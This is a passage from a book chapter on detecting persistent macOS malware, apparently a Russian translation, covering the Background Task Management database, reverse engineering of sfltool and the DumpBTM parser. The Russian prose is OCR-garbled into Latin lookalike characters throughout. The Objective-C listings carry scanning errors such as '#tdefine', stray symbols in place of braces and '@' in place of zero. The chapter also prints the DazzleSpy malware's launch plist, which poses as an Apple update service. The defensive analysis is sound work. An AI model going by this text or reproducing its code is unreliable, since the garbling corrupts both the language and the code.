persistently installed itself, /Users/User/.local/softwareupdate:

<?xml version="1.0" encoding="UTF-8"?>

<plist version="1.0">

<dict>

<key>KeepAlive</key>

<true/>

<key>Label</key>
<string>com.apple.softwareupdate</string>
<key>ProgramArguments</key>

<array>
<string>/Users/User/.local/softwareupdate</string>
<string>1</string>

</array>

<key>RunAtLoad</key>

<true/>

<key>SuccessfulExit</key>

<true/>

</dict>

</plist>

Malware yctaHoBuno key RunAtLoad B true, noatomy macOS 6yaeTt aBToMmaTnyecku restart ykazaHHbIN

binary kaxgbin pas, korga nonb3oBaTtenb BXOAMT B cuctemy. MiHbimu cnosamu, DazzleSpy gocturno
persistence.

B Hauane aTown rnaBebl 9 yNnoMuHar, 4to nermtTumHoe software Toxe persists. Kak onpeaennts, sBnsetcsi
nu persisted item malicious? Moxanyi, nyywun cnocob - n3yuntb code signing information item ¢
NMOMOLLIbIO NOAXOAO0B, ONMCaHHbIX B rrase 3. JlernTumMHble items JOMmKHbI ObITe NOANNCAHbI NEerko
y3HaBaeMbIMy companies u notarized Apple.

Malicious persisted items Toxe yacto umetoT obwme npusHakn. PaccmoTtpum DazzleSpy, koTopoe
BbINOSTHAETCHA N3 CKPbITOro kaTanora .local un He signed nnu notarized. Umsa property list malware,
com.apple.softwareupdate, npegnonaraert, 4To 3TOT persistent item npuHagnexut Apple. OgHako
Apple HuKkorga He ycTaHaBnuBaeT persistent components B nonb3oBaTenbckme katanorm LaunchAgents,
n Bce ee launch items ccbinatoTca Ha binaries, nognucaHHble UckNoYnMTENbHO cobcTBEHHO Apple. B aTnx
oTHoweHusAx DazzleSpy He ABnsieTcs ucknioyeHnem; bonbMHCTBO malicious persistent items cTonb xe
nerko KnaccnguuupoBaTb Kak SUSPiCious KU3-3a Takmx anomalies.
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Background Task Management

Kak onpegenuTtb, 4Tto item persisted? HansHbI noaxod - NpocTo nepevncnnTb Bee .plist files,
HareHHble B kaTanorax launch item, Bkniovas cuctemHble U Nonb3oBaTenbCkue katanorn LaunchDaemon
n LaunchAgent. OgHako HaumHas ¢ macOS 13 Apple encourages developers nepeHocuts cBom launch
items Hanpsamyto B application bundles. 4] 311 namenenns no cyTu deprecate persistence yepe3s
nonb3oBaTenbCckne katanoru launch item, 4To o3HayaeT: pydHoe nepeyvmcneHue persistent items Tpebyet
scanning kaxgoro application bundle, a aTo HeadbdekTuBHO. Kpome Toro, software moxeT persist kak login
items, koTopble He ucnonb3ytoT property lists unu dedicated directories.

K cyacTbio, HaumHas ¢ macOS 13 Apple ob6veguHmnna ynpasneHne Hanbonee pacnpocTpaHeHHbIMM
persistence mechanisms (Bknto4vas launch agents, launch daemons u login items) B proprietary subsystem
noa HassaHneM Background Task Management. Ota subsystem npegoctasnset cnucok login u launch
items, koTopble 3anonHAT naHenb Login Items B npunoxeHunn System Preferences (pucyHok 5-2).

Login ltems

Q Open at Login

Patrick Wardle ltem Kind
. Apple ID

® LuLu Application
= Wi-Fi “* OverSight Application
% Bluetooth
@ Network

& Notifications Allow in the Background

1) Sound

& Focus
@ Adobe Creative Cloud

X Screen Time e all o

General
@ l(.'g‘c?ogll.e Updater

¢ Appearance

@ Accessibility
m (el T T el Ty

PucyHok 5-2: Login 1 launch items, nokasaHHble B npunoxeHun System Preferences

Ha Moem KoMnbloTepe HeCKonbko Momx MHCTpymeHToB Objective-See ycTtaHaBnusatoT cebsi kak login
items, Torga kak cloud-syncing app Adobe n updater Google Chrome yctaHaBnuBatoT persistent launch
items.

PasymeeTcsi, HaM Hy)kHa BO3MOXHOCTb MOMy4nUTb 3TOT CMINCOK persistent items nporpamMmmHoO, MOCKOSbKY
noboe persistent malware, BepoATHO, Takke NOABUTCA 30eCb. XOTA KOMMNOHEHThI subsystem Background
Task Management siBnsitotcs proprietary un closed source, dynamic analysis nokasbiBaeT, 4To subsystem
xpaHuT detailed metadata o persistent items, KoTopble OHa oTcnexusaeT, B eanHcTBEHHOM database file.
[nsa Hawmx uenen Hanuyune aTon centralized database - HacTosWaa Haxoaka. K coxaneHuto, MOCKOSbKY
ee format proprietary u undocumented, Ham npeacTouT HekoTopasa paboTta, ecnm Mbl XOTUM ee
ncnonb3oBaTh.
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M3yquMe noacuctemMmbl

Mporigem no B3anmopencTeusam subsystem Background Task Management ¢ aton database. lNoHumaHune
3TVX onepaumn NOMOXeT HaM co3gaThb tool, cnocobHbIM NporpammMHO 13BnekaTb ee contents. icnonbays
file monitor, moxHo yBMaeTb, 4TO Koraa item persisted, daemon Background Task Management,
backgroundtaskmanagementd, o6HoBnseT file B kaTanore
/private/var/db/com.apple.backgroundtaskmanagement/. YToObl BEINONHUTL 3Ty OMepauuio
atomically, oH cHauyana co3gaet temporary file, a 3aTem nepemeLLaeT ero B katanor
com.apple.backgroundtaskmanagement 4yepes rename operation:

# FileMonitor.app/Contents/MacOS/FileMonitor -pretty

{

"event" : "ES_EVENT_TYPE_NOTIFY_CREATE",

"file" : {

"destination” :
"/private/var/folders/zz/.../TemporaryItems/.../BackgroundItems-vx.btm",
"process" : {

"pid" : 612,

"name" : "backgroundtaskmanagementd",

}
¥

{
"event" : "ES_EVENT_TYPE_NOTIFY_WRITE",

"file" : {

"destination" :
"/private/var/folders/zz/.../TemporaryItems/.../BackgroundItems-vx.btm",
"process" : {

"pid" : 612,

"name" : "backgroundtaskmanagementd",

}

}

{

"event" : "ES_EVENT_TYPE_NOTIFY_RENAME",

"file" : {

"source"
"/private/var/folders/zz/.../TemporaryItems/.../BackgroundItems-vx.btm",
"destination” :
"/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-vx.btm",
"process" : {

"pid" : 612,

"name" : "backgroundtaskmanagementd",
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Ecnun disassemble binary daemon, pacnonoxeHHbli B katanore /System/Library/PrivateFrameworks
/BackgroundTaskManagement.framework/Versions/A/Resources/, Mbl Hanaem references Ha format
string BackgroundItems-v%1ld.btm B storeNameForDatabaseVersion:, method knacca BTMStore:

+[BTMStore storeNameForDatabaseVersion:]

pacibsp

sub sp, sp, #0x20

stp fp, 1lr, [sp, #0x10]

add fp, sp, #0x10

nop

1dr x@, =_OBJC_CLASS_$_NSString

str x2, [sp, #0x10 + var_10]

adr x2, #0x100031f10 ; @"BackgroundItems-v%ld.btm"

HanbHenwas reverse engineering nokasblBaeT, YTo UMA database cogepxuTt version number, kKoTopbI
yBennuuBaeTcs rno Mepe Bbixoda HoBbIX versions macOS. B nokasaHHbIX 34eCb npuMepax Mbl
abcTparvpoBanu 3ToT version number CMMBOMNOM X, HO B Ballen CUCTEME OH, BEPOATHO, ByaeT 8 unu
Bbllwe. Ncnonb3ysa komaHay file, MOXHO yBUAETh, 4TO contents dpanna BackgroundItems-vx.btm
XpaHsATcs Kak binary property list. UToObl camocTosiTENBHO MPOCMOTPETL 3TW CBEAEHMS, 00s13aTENBbHO
noAacTaBbTe KOPPEKTHBIN version number Ansi CBoen CMCTeMbI MPU 3anycke KoMaHabl:

% file /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-vx.btm

/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-vx.btm:
Apple binary property list

Mbl Moxxem npeobpasoBaTthb contents binary property B XML ¢ nomoubto plutil. K coxaneHuto,
nonyumsLumnincs XML cogepxuT He Tonbko spelling mistakes, Ho 1 serialized objects, koTopble He
sasnatTca readily human readable:

% plutil -p /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-vx.btm
{

"$archiver" => "NSKeyedArchiver"
"$objects" => [

0 => "$null"
1 =>{
"$class" =>

<CFKeyedArchiverUID 0x600002854240 [Oxle3bcf9a@]>{value = 265}
"itemsByUserIdentifier" =>

<CFKeyedArchiverUID 0x600002854260 [©xle3bcf9a@]>{value = 2}
"mdmPaloadsByIdentifier" =>

<CFKeyedArchiverUID 0x600002854280 [©Oxle3bcf9a@]>{value = 263}
"userSettingsByUserIdentifier" =>

<CFKeyedArchiverUID 0x6000028542a0 [Oxle3bcf9a@]>{value = 257}
}

265 => {

"$classes" => [

@ => "Storage"

1 => "NSObject"

1

"$classname" => "Storage"

}

Serialization - aTo npouecc, npu koTopoM initialized, in-memory object npeobpasyeTtcsa B format, B KoTopom
€ro MOXXHO coxpaHuTb (Hanpumep, B file). XoTs serialization siBnsetcsa acbdekTUBHLIM cnocobom,
NO3BOMAKOLLMM NporpaMmamM B3anMogencTBoBaTh € objects, serialized objects 06b14HO HE human
readable. bonee Toro, ecnu objects npuHagnexat undocumented class, Ham cHa4ana HyXHO NOHATb
internal details knacca, npexage 4eM Mbl CMOXXeM HanucaTb Kof, KOTOPbI OCMbICIEHHO UX 0OpaboTaerT.
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Kak yactb subsystem Background Task Management, Apple noctaesnseT command line utility ¢ nmeHem
sfltool, koTOpas MoXeT B3aumogencTsoBath ¢ hannamm BackgroundItems-vx.btm. Ecnv BeINONHUTL
ee ¢ pnarom dumpbtm, tool deserialize n HaneyaTaeT contents danna:

# sfltool dumpbtm

#1:

UUID: 8C271A5F-928F-456C-B177-8D9162293BA7

Name: softwareupdate

Developer Name: (null)

Type: legacy daemon (0x10010)

Disposition: [enabled, allowed, visible, notified] (11)
Identifier: com.apple.softwareupdate

URL: file:///Library/LaunchDaemons/com.apple.softwareupdate.plist
Executable Path: /Users/User/.local/softwareupdate

Generation: 1

Parent Identifier: Unknown Developer

#2:

UUID: 9B6C3670-2946-4FOF-B58C-5D163BE627C0O

Name: ChmodBPF

Developer Name: Wireshark

Team Identifier: 7Z6EMTD2C6

Type: curated legacy daemon (0x90010)

Disposition: [enabled, allowed, visible, notified] (11)
Identifier: org.wireshark.ChmodBPF

URL: file:///Library/LaunchDaemons/org.wireshark.ChmodBPF.plist
Executable Path: /Library/Application Support/Wireshark/ChmodBPF/ChmodBPF
Generation: 1

Assoc. Bundle IDs: [org.wireshark.Wireshark ]

Parent Identifier: Wireshark

B aTtom npumepe deserialized objects BkntovatoT DazzleSpy (softwareupdate) u daemon ChmodBPF ot
Wireshark. Nockonbky sfltool moxeT npoussoanTtb deserialized output n3 proprietary database, ero
reverse engineering OMKeH NOMOYb HaM NOHATL ero deserialization u parsing logic. 310, B cBOIO
ovepeAb, AOMKHO MO3BOMWUTL HAM HaMUcaTb COBCTBEHHbIN parser, CNocobHbIM NepeyYncnsaTe BCe
persistent items, koTopbiMu ynpaensaeT subsystem Background Task Management, Bkntodas nioboe
malware.

Pa36op sfltool

XOoTs 9Ta KHUra He CocpedoToYeHa Ha reverse engineering, st kpaTko obcyato, kak dissect sfltool, 4ToObI
Bbl NOHANW €ro B3anmMoaencTauna ¢ opyrumum komnoHeHtammn Background Task Management u kpaitHe
BaXkHbIM ¢pannom .btm. B terminal Ha4HeM ¢ NOTOKOBOro YTeHNA coobLieHnn n3 system log,
OAHOBpPeMeHHO 3anyckada sfltool ¢ dpniarom dumpbtm:

% log stream

backgroundtaskmanagementd: -[BTMService listener:shouldAcceptNewConnection:]:
connection=<NSXPCConnection: 0x152307aa@> connection from pid 52886 on mach service named
com.apple.backgroundtaskmanagement

backgroundtaskmanagementd dumpDatabaseWithAuthorization: error=Error
Domain=NSOSStatusErrorDomain Code=0 "noErr: Call succeeded with no error"

Kak BnaHo B log output (koTophkIl 8 crierka namexHun paam kpaTtkoctn), daemon Background Task
Management nonyynn message ot npotecca ¢ ID 52886, COOTBETCTBYIOLLENO 3anyLLeHHOMY 3K3eMNNApY
sfltool. MoxHo yBuaeTb, 4to tool cosgan XPC connection k daemon. Ecnn connection ycnelueH,
sfltool 3atem MoxeT BbI3biBaTb remote methods, Haxogswmeca BHyTpu daemon. Hanpumep, us log
messages BUAHO, 4YTo OH Bbi3Ban daemon method dumpDatabaseWithAuthorization:, 4yTo6bl monyunTb
contents database Background Task Management.
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B nucTtuHre 5-1 Mbl NnbiTaeMcs peanusoBaTh TOT e noaxod. Mel ncnonesyem private framework
BackgroundTaskManagement, koTopbi peanu3yeTt Heobxoanmble classes, Takme kak BTMManager, n
methods, Bkntoyvas client-side dumpDatabaseWithAuthorization:error:.

#import <dlfcn.h>

#import <Foundation/Foundation.h>
#import <SecurityFoundation/SFAuthorization.h>

#tdefine BTM_DAEMON "/System/Library/PrivateFrameworks/\
BackgroundTaskManagement.framework/Resources/backgroundtaskmanagementd”

@interface BTMManager : NSObject

+(id)shared;

-(id)dumpDatabaseWithAuthorization: (SFAuthorization*)argl error:(id*)arg2;
@end

int main(int argc, const char* argv[]) {
void* btmd = dlopen(BTM_DAEMON, RTLD_LAZY);
Class BTMManager = NSClassFromString(@"BTMManager");
id sharedInstance = [BTMManager shared];
SFAuthorization* authorization = [SFAuthorization authorization];

[authorization obtainWithRight:"system.privilege.admin"
flags:kAuthorizationFlagExtendRights error:NULL];

id dbContents = [sharedInstance dumpDatabaseWithAuthorization:authorization error:NULL];
}
JluctnHr 5-1: MonbiTka dump database Background Task Management

K coxaneHuto, 3TOT noaxof 3aBepluaeTcs Heyaaden. Kak nokasaHo B cneayowwmx log messages, failure,
noxoxe, CBA3aHa ¢ TeM, YTo Hawl binary (B aTom cnyyae nmetowmii process ID 20987) He obnagaeTt
private Apple entitiement, HeobxogmMmbiM aAnga nogkntoydeHnst kK daemon Background Task Management:

% log stream

backgroundtaskmanagementd: -[BTMService listener:shouldAcceptNewConnection:]:
process with pid=20987 lacks entitlement 'com.apple.private.backgroundtaskmanagement.manage’
or deprecated entitlement 'com.apple.private.coreservices.canmanagebackgroundtasks'

MbI MmOXem noaTreepAnTb, YTO MMEHHO NO3TOMY HE MOXXEM NOAKIMIOYNTLCA K daemon, BbINOJTHNB reverse
engineering koga B daemon, oTBevatoLlero 3a 06paboTky HoBbix XPC connections oT clients:

/* @class BTMService */
-(BOOL)listener: (NSXPCListener*)listener
shouldAcceptNewConnection: (NSXPCConnection*)newConnection {

x24 = [x@ valueForEntitlement:@"com.apple.private.coreservices.canmanagebackgroundtasks"];

if(objc_opt_isKindOfClass(x24, objc_opt_class(@class(NSNumber))) == 0x0 ||
[x24 boolValue] == 0x0) {
// Reject the client that is attempting to connect.

}
B aTon disassembly moxHo yBnaetb check private entitlement
com.apple.private.coreservices.canmanagebackgroundtasks, kKOTOpbI/ cOBNagaeT C TeM, YTO Mbl
Buaenu B logs. Ecnu client He cogepxuT ero (unun 6onee HoBbin entitlement
com.apple.private.backgroundtaskmanagement.manage), cuctema deny connection.
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Mcnonb3ays ytunuty codesign, MOXHO yBUAETb, YTO sTltool OeNCTBUTENBHO COAEPXKUT HEOOXOOUMBIN
entitlement:

% codesign -d --entitlements - /usr/bin/sfltool

Executable=/usr/bin/sfltool

[Dict]

[Key] com.apple.private.coreservices.canmanagebackgroundtasks

[Value]

[Bool] true

[Key] com.apple.private.sharedfilelist.export

[Value]
[Bool] true

MockonbKky Mbl He MOXeM nony4uTb private Apple entitlement, Heo6xoanmbI Hawwen co6CTBEHHOM
nporpamme ans nogkntodeHus k daemon Background Task Management, Ham ocTtaeTcsa obpalaTtbes K
database Hanpsimyto ¢ gucka u napcuTthb ee.

Mpun Hannuum full disk access nony4nTb gocTtyn K contents database nerko. OgHako parsing ee contents
TpebyeT HeMHoro GorbLue paboTbl, MOCKONbLKY OHa cogepxut undocumented serialized objects. K
cyacTbio, AanbHeKwas reverse engineering nokasblBaeT, YTO nocne 4YteHus contents database daemon
ero deserialization logic HaunHaeTca B method ¢ umeHem _decodeRootData:error:.

-(void*)_decodeRootData: (NSData*)data error:(void**)arg3 {

x0 = [NSKeyedUnarchiver alloc];
x21 = [x@ initForReadingFromData:data error:&error];

x0 = [x21 decodeObjectOfClass:objc_opt_class(@class(Storage)) forKey:@"store"];

Korga daemon Background Task Management untaeT contents database, oH BbinonHsaeT deserialization,
cnenys 9TMM CTaHA4APTHbIM Llaram:

1. Hutaet contents database B memory kak object NSData.

2. iumuunanusumpyet object NSKeyedUnarchiver atumun data.

3. Deserializes objects B unarchiver yepes BbizoB method NSKeyedUnarchiver
decodeObjectOfClass:forKey:.

ObpaTtnTe BHMMaHWe Ha serialized class name Storage u ero key B archiver, store, NockonbKy OHU
BCKOpe npuroasTcs. Takke obpatute BHUMaHWe, 4To Koraa BbidbiBaeTca method
decodeObjectOfClass:forKey:, method initWithCoder: no6oro embedded object Takke
aBTOMAaTUYeCKM BbI3blBaeTCH 3a Kynucamu. 3To no3sonseT objects BbINOMHATL COBCTBEHHYIO
deserialization.

HanucaHue parser database Background Task Management

Tenepb Mbl rOTOBbI HaMMcaTb COGCTBEHHBIN parser. BosbmeM To, YTO y3Hanu Yepes reverse engineering,
n Hanuwewm tool, cnocobHbIN deserialize metadata Bcex persistent items, HaliaeHHbIX B database
Background Task Management. A npongy no relevant code snippets 3gecb, HO BeCb KoA 3TOro parser,
Ha3BaHHoro DumpBTM, moxHo HanTu B GitHub-penosutopum Objective-See no agpecy
https://github.com/objective-see/DumpBTM. B koHue 3Toro obcyxaeHnst 1 mokaxy, kak MOXHO
ucnonb3oBaTb 3Ty library B cobcTBEHHOM KOAE, YTOOLI NPOrpaMMHO NOMY4YUTb CNNCOK items, persisting Ha
nobon macOS system.
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Mouck nytu Kk database

HayHem c HanucaHus koda, KoTopbIi AMHaMmuyeckn HaxoauT path database. XoTsa oHa pacnonoxeHa B
katanore /private/var/db/com.apple.backgroundtaskmanagement/, Apple Bpems oT BpeMeHu
noBbiWaeT version number B uMeHn mexay releases macOS. HecMoTps Ha 3TM U3BMEHEHUS UMEHW, HANTU
database goctato4Ho nerko no ee yHukanbHomy extension .btm. Kog B nuctuHre 5-2 ucnonbsyet
npocTon predicate, 4Tobbl HanTK Bce . btm files B kaTanore com.apple.backgroundtaskmanagement.
Takon file gormkeH ObITb TONBLKO OOUH, HO AN HAOEXHOCTU KoA OepeT ToT, y koToporo highest version.

#tdefine BTM_DIRECTORY @"/private/var/db/com.apple.backgroundtaskmanagement/"

NSURL* getPath(void) {
NSArray* files = [NSFileManager.defaultManager contentsOfDirectoryAtURL:
[NSURL fileURLWithPath:BTM_DIRECTORY] includingPropertiesForKeys:nil options:@ error:nil];

NSArray* btmFiles = [files filteredArrayUsingPredicate:[NSPredicate
predicateWithFormat:@"self.absoluteString ENDSWITH '.btm'"]];

return btmFiles.lastObject;
¥

JInctuur 5-2: MNouck camon Hoeon database Background Task Management

Crauvana kog coagaer list Bcex files B directory. 3atem uepes predicate self.absoluteString ENDSWITH
'.btm' n method filteredArrayUsingPredicate: oH co3gaeT BTOpoO# list, cogepxalwimm Tonbko .btm
files. 3atem oH Bo3BpaLyaeT nocnegHun file B atom list, koTopbI gomkeH ObITb TEM, y koToporo highest
version.

Deserializing files Background Task Management

A otmeTun, yto serialized objects B file Background Task Management asnstoTcs instances
undocumented classes, cneundunyHbix ona subsystem. Utobel deserialize nx, Mbl OMKHbI KAK MUHUMYM
npegoctaBuTb class declaration. Ml Hawnm aTu classes embedded B daemon, Bkntovas top-level object B
serialized database, koTopbin npuHagnexut undocumented class ¢ umeHeM Storage. HanomHio, 4To 3TO
class name mbl Takke Bugenu B output plutil.

37107 class cogepxuT pasnuyHble instance variables, onuceiBatowwme ero properties, Bkntoyvas dictionary ¢
nmeHeMm itemsByUserIdentifier. YToGbl deserialize object Storage, mbl co3gaem declaration,
nokasaHHoe B NUCTUHre 5-3.

@interface Storage : NSObject <NSSecureCoding>

@property(nonatomic, retain)NSDictionary* itemsByUserIdentifier;
@end

Jlnctur 5-3: Interface knacca Storage

HanbHenwas reverse engineering packpbiBaeT 6onblue nogpobHocTen o dictionary
itemsByUserIdentifier knacca Storage. Hanpumep, oH cogepxuT key-value pairs, whose values
aBnatTca obbektamu apyroro undocumented class Background Task Management ¢ umeHem
ItemRecord. Class ItemRecord cogepxuTt metadata o kaxgom persistent item, kotopbiM ynpasnseT
subsystem, Hanpumep ero path, code signing information u state (Hanpumep, enabled unu disabled).

CHoBa, nockonbky ItemRecord aBnsietcs undocumented class, ero ncrnonb3oBaHue B Halwem Koge
TpebyeT declaration, n3asnedeHHoro n3 daemon. JiuctnHr 5-4 nokaswiBaeT Takoe declaration.
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@interface ItemRecord : NSObject <NSSecureCoding>
@property NSInteger type;

@property NSInteger generation;

@property NSInteger disposition;
@property(nonatomic, retain)NSURL* url;

@property(nonatomic, retain)NSString* identifier;
@property(nonatomic, retain)NSString* developerName;
@property(nonatomic, retain)NSString* executablePath;
@property(nonatomic, retain)NSString* teamIdentifier;
@property(nonatomic, retain)NSString* bundleIdentifier;
@end

JluctuHr 5-4: Interface knacca ItemRecord

O6baBuB relevant classes, Mbl No4TK roToBbI trigger serialization Bcex objects B file Background Task
Management. OgHako, nockonbky process deserialization Bbi3biBaeT method initWithCoder: kaxgoro
object, a kaxabin object conforms to protocol NSSecureCoding, Ham cnefyeT NpeaocTaBUTb
implementation atoro method, 4Tobbl linker 66111 goBoOneH u deserialization succeeded. YTobbI
reimplement methods initWithCoder: ana undocumented objects, moxHO ncnonb3oBaTth disassembler
n HanTh nx implementations. Hanpumep, Bot decompilation method initWithCoder: obbekTa
ItemRecord:

-(void*)initWithCoder: (NSCoder*)decoder {

X0 = objc_opt_class(@class(NSUUID));

x0 = [decoder decodeObjectOfClass:x0 forKey:@"uuid"];

self.uuid = x0;

X0 = objc_opt_class(@class(NSString));

x0 = [decoder decodeObjectOfClass:x@ forKey:@"executablePath"];

self.executablePath = x0;

X0 = objc_opt_class(@class(NSString));

x0 = [decoder decodeObjectOfClass: x@ forKey:@"teamIdentifier"];
self.teamIdentifier = x0;

}

Mbl Moxem nierko mimic atot method B co6ctBeHHOM koge (NMUCTUHT 5-5).

-(id)initWithCoder: (NSCoder *)decoder {

self = [super init];

if(nil != self) {
self.uuid = [decoder decodeObjectOfClass:[NSUUID class] forKey:@"uuid"];
self.executablePath =
[decoder decodeObjectOfClass:[NSString class] forKey:@"executablePath"];
self.teamIdentifier =
[decoder decodeObjectOfClass:[NSString class] forKey:@"teamIdentifier"];

return self;

}
JlnctuHr 5-5: Reimplementation method initWithCoder: o6bekta ItemRecord

B Halwuel reimplementation method initWithCoder: obbekta ItemRecord Mbl deserialize properties
obbekTa, Bkntodas ero UUID, executable path, team identifier u mHoroe gpyroe. 310 Tak e nNpocTo, kak
BbI3BaTb method decodeObjectOfClass:forKey: ans kaxgoro property serialized object, nepegaHHoro
Kak NSCoder.

OpHako ecTb Bonee npocTo cnocob nony4nTs JocTyn k 3Tum methods. Kak Bbl BUuagenu B disassembly,
daemon Background Task Management cogepxut class implementations serialized objects Storage n
ItemRecord, Bknoyas nx methods initWithCoder:. [NoaTomy, ecnv Mbl 3arpy3mm 1 criHkyem binary
daemon B address space Hallero process, Mbl NOMy4YUM JOCTYN K 3TUM methods 6e3 HeobxoamMmocTu
camocToATenbHO reimplement mx. MNockonbky Bce executables Tenepb compiled in a position-independent
manner, Mbl MoxeM link to anything B cobcTBeHHONM nporpamme, Bktodasa daemon. JINCTUHr 5-6 conepxuT

117



koa ans load u link daemon, a 3atem ncnonesyet ero objects npwu triggering full deserialization objects,
XpaHsiwmxcs B database.

#tdefine BTM_DAEMON "/System/Library/PrivateFrameworks/\
BackgroundTaskManagement.framework/Resources/backgroundtaskmanagementd"

void* btmd = dlopen(BTM_DAEMON, RTLD_LAZY);

NSURL* path = getPath();

NSData* data = [NSData dataWithContentsOfURL:path options:@ error:NULL];
NSKeyedUnarchiver* keyedUnarchiver =

[ [NSKeyedUnarchiver alloc] initForReadingFromData:data error:NULL];
Storage* storage = [keyedUnarchiver decodeObjectOfClass:
[NSClassFromString(@"Storage") class] forKey:@"store"];

JlnctnHr 5-6: Deserializing objects Background Task Management

Mocne BbizoBa ¢yHKLMKM dlopen, koTopas loads and links daemon Background Task Management B
memory space process, Koa Bbi3biBaeT helper function, koTopyto Mbl Hanucanu, YTobbl nony4nTb path
system database file Background Task Management. Haiias v 3arpysus contents database B memory,
ko4 nHuumanuaunpyet keyed unarchiver object ¢ database data.

Tenepb koa rotos trigger deserialization objects B database 4epes method keyed archiver
decodeObjectOfClass:forKey:. PaHee 8 oTmMeTun, 4To class top-level object database HasbiBaeTcs
Storage. MNockonbky oH undocumented, mbl dynamically resolve ero yepes
NSClassFromString(@"Storage"). 370 resolution succeeds, NoOTOMy 4YTO Mbl 3arpy3unu daemon,
KoTopbIn implements 3ToT class, B process space. [Ang key, required 4toObl HavaTb deserialization, mbl
mimic daemon, ykasasB string "store".

3a kynucamum aToT KoZ trigger invocation method initWithCoder: knacca Storage, naBas emy
BO3MOXHOCTb deserialize top-level object Storage B database. HanomHio, 4to 3T0T Object BkntovaeT
dictionary, cogepxawun object ItemRecord, onucbiBatowmm kaxabln persisted item. Beizos method
initWithCoder: knacca ItemRecord aBTomaTnyeckmn deserialize atn embedded objects.

HocTtyn Kk metadata

Mocne 3aBepleHns deserialization mbl MOXxem obpalLaTtbes k metadata o kaxxgom item, persisted B
cucteme n ynpaensiemom Background Task Management (nuctuHr 5-7).

int itemNumber = 0;

for(NSString* key in storage.itemsByUserIdentifier) {
NSArray* items = storage.itemsByUserIdentifier[key];

for(ItemRecord* item in items) {
printf(" #%d\n", ++itemNumber);
printf(" %s\n", [[item performSelector:NSSelectorFromString
(@"dumpVerboseDescription")] UTF8String]);

}
JlucTtuHr 5-7: MNeyatb deserialized items

Hoctyn k metadata Tak ke npocrT, kak iterating over dictionary itemsByUserIdentifier deserialized
object Storage, koTopbIli organizes persistent items by user UUID. [Insa Bcex o6bekToB ItemRecord mbl
Moxem Bbi3BaTb method knacca dumpVerboseDescription, 4Tobbl HaneyaTaTb Kaxabln object B nicely
formatted manner. NockonbKy Mbl He 06BbsABNANM 3TOT Method B class interface, BmecTo atoro
ncnonb3yem Objective-C method performSelector:, 4ToObl BbI3BaTb €0 MO UMEHM.
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Komnunauus n 3anyck koga npovssoguT output, npegocTaBnsiowmin Ty e nHopmauumio, 4To 1 closed
source sfltool ot Apple:

% ./dumpBTM

Opened /private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-vx.btm
#1

UUID: 8C271A5F-928F-456C-B177-8D9162293BA7

Name: softwareupdate

Developer Name: (null)

Type: legacy daemon (0x10010)

Disposition: [enabled, allowed, visible, notified] (11)
Identifier: com.apple.softwareupdate

URL: file:///Library/LaunchDaemons/com.apple.softwareupdate.plist
Executable Path: /Users/User/.local/softwareupdate

Generation: 1

Parent Identifier: Unknown Developer

#2

UUID: 9B6C3670-2946-4FOF-B58C-5D163BE627C0O

Name: ChmodBPF

Developer Name: Wireshark

Team Identifier: 7Z6EMTD2C6

Type: curated legacy daemon (0x90010)

Disposition: [enabled, allowed, visible, notified] (11)
Identifier: org.wireshark.ChmodBPF

URL: file:///Library/LaunchDaemons/org.wireshark.ChmodBPF.plist
Executable Path: /Library/Application Support/Wireshark/ChmodBPF/ChmodBPF
Generation: 1

Assoc. Bundle IDs: [org.wireshark.Wireshark ]

Parent Identifier: Wireshark

Mockonbky 6onbwmHcTBO MacOS malware persists, 3Ta cnocobHOCTL NPOrpaMMHO NEPEUNCTIATD
persistently installed items HeBeposAiTHO BaxkHa. OgHaKo TakMe enumerations Takke OyayT BKIo4aTh
legitimate items, Hanpumep daemon ChmodBPF ot Wireshark, nokaszaHHbIn 3gecob.

UoeHTncpmnkauma malicious items

PasymeeTcsi, npu nonbITke NporpammMHO 0bHapy»x1MBaTb malware npocTtas neyatb persistent items He
cnuwikom nonesHa. Kak Bbl Tonbko 4To BUaenu, database Background Task Management BknouaeT
metadata o benign persistently installed items, nosToMy koa AOMKEH BHUMATENbHO N3y4aTb KaXAbIN U3
HuX. Hanpumep, nepsbin item, nokasaHHbIN B output tool, BeposTHO suspicious; ero name npegnonaraer,
41O aTO core Apple component, HO OH BbinonHsieTcst u3 hidden directory 1 unsigned. (Spoiler alert: ato
DazzleSpy.) C gpyron ctopoHbl, code signing information BToporo item, Bkntoyas developer name n team
ID, ngeHtTnduumpyet ero Kak legitimate component network monitoring and analysis tool Wireshark.

YTto6bl NnporpaMmHo n3eriedb information ns kaxxgoro item, MOXXHO HanpsiMyto obpaluartbes K relevant
properties 06bekta ItemRecord. Hanpumep, NUCTUHr 5-8 0GHOBNSET KOA, HANUCAHHbLIA HAMUW B JIMCTUHIE
5-7, uTobbI NonyunTb path k property list kaxxgoro item, ero name n executable path.

for(NSString* key in storage.itemsByUserIdentifier) {
NSArray* items = storage.itemsByUserIdentifier[key];

for(ItemRecord* item in items) {
NSURL* url = item.url;

NSString* name = item.name;
NSString* path = item.executablePath;

}

JInctnur 5-8: JocTyn k properties ItemRecord
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A excerpted npeacraBneHHbIN 3aeck koa U3 npoekta DumpBTM, complete Background Task
Management parser. CkomnunupoBaHHbIn B library ang yaobHom nnuHKoBKK ¢ Apyrumu projects,
DumpBTM Ttakke no3sonsieT u3enekatb metadata kaxgoro persistent item B dictionary, 4to6bl cleanly
abstract away internals undocumented objects Background Task Management (nuctuHr 5-9). Opyroi kog
3aTeM MoxeT ingest aToT dictionary, Hanpumep, 4ToObI N3y4nTb Kaxabln item Ha anomalies nnu
npumMeHnTb heuristics ana knaccudmkauum kak benign nnm potentially malicious.

#define KEY_BTM_ITEM_URL @"url"

#define KEY_BTM_ITEM_UUID @"uuid"

#tdefine KEY_BTM_ITEM NAME @"name"
#define KEY_BTM_ITEM_EXE_PATH @"executablePath"

NSDictionary* toDictionary(ItemRecord* item) {
NSMutableDictionary* dictionary = [NSMutableDictionary dictionary];

dictionary[KEY_BTM_ITEM UUID] = item.uuid;
dictionary[KEY_BTM_ITEM_URL] = item.url;
dictionary[KEY_BTM_ITEM_NAME] = item.name;
dictionary[KEY_BTM_ITEM_EXE_PATH] = item.executablePath;

return dictionary;

}
JInctuur 5-9: NsenedveHwne properties B dictionary

YTto6bl n3eneyb properties obbekta ItemRecord, Mbl NpocTo co3gaem dictionary n nobasnsiem B Hero
Kaxxabli property ¢ key no Hawwemy BbIGopy.

